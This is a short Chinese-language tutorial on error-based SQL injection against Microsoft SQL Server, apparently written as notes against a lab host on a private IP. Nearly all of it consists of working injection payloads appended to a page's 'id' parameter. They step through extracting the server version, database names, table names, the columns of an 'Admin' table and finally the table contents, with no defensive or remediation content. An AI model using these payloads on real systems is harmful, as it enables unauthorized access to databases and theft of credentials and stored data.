MSSQL注入

需要用到的函数
查询当前数据库版本：@@version
查询当前数据库名:db_name()
管理存在的数据库：sysdatabases
管理存在的表：sysobjects
管理存在的列：syscolumns

1，获取数据库版本信息。

http://192.168.10.112:84/View.aspx?id=88  and 1=(select @@version)

方法2

and (select @@version)>2

2，获取当前数据库名

http://192.168.10.112:84/View.aspx?id=88  and 1=(select db_name() )

获取其他数据库名方法

http://192.168.10.112:84/View.aspx?id=88  and 1=(select top 1 name  from master.dbo.sysdatabases where dbid>5)

3，获取当前数据库表名

http://192.168.10.112:84/View.aspx?id=88 and 1=(select top 1 name from sysobjects where xtype='u' and name<>'test')

获取所有数据库表名

http://192.168.10.112:84/View.aspx?id=88 and 1=(select name from sysobjects for xml path)

获取完所有表名后使用WPS的DOCX文档将不需要的内容替换掉。

4，获取列名

http://192.168.10.112:84/View.aspx?id=88 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Admin'))

5，获取数据内容

http://192.168.10.112:84/View.aspx?id=87 and 1=(select top 1 列名 from 表名 )